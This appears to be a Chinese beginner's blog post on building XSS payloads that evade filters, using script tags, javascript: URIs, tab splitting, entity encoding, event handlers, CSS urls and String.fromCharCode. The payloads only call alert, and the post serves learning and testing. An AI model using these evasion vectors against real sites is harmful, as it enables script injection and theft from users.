zoukankan      html  css  js  c++  java
  • XSS构造解析

    1、绕过过滤

      a、利用<>标记注入HTML/JavaScript

      <script>alert('xss');</script>:所以过滤的就是<>或<script>

      b、利用html标签属性执行xss:这是因为html标记的属性都支持javascript:[code];

      <table background="javascript:alert(/xss/)"></table>   我测试没通过,需要低版本的浏览器来进行测试;

      <img src="javascript:alert('xss');">

      当然不是所有的标记属性都可以产生xss;只有引用文件的属性才能触发跨站脚本;如:

      href=  lowsrc=  bgsound=  background=  value=  action=  dynsrc=

      

      c、空格回车tab

      <img src="java    script:alert('xss');">   注:中间是tab做成的;

      <script>
      var a
      ='hello'
      alert(a);
      </script>   注:这里不用ie低版本了;更多的可以进行变形

      d、对标签属性值转码

      <img src="javascrip&#116&#58;alert('xss');">   HTML Characters编码;

      e、产生自己的事件

      <input type="button" value="click" onclick="alert('xss')" />

      <img src="#" onerror=alert('xss')>

      其余的事件:

      onResume  onReverse  onRowDelete等等

      f、利用css跨站

      <div style="background-image:url(javascript:alert('xss'))">

      g、扰乱过滤规则

      大小写转换、大小写混杂、不用双引号、不使用引号

      

    2、字符编码

      String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41)==alert('xss')

      10进制、16进制、还有ascii等等;

    我还是新手!

  • 相关阅读:
    http的8种请求方式
    死锁
    进程与线程
    vuex
    路由懒加载
    SPA单页面富应用
    组件中的data为什么必须是函数
    v-for中key的作用
    关于排序的常识总结
    关于树的常见操作-C++面试
  • 原文地址:https://www.cnblogs.com/Lzero/p/3984626.html
Copyright © 2011-2022 走看看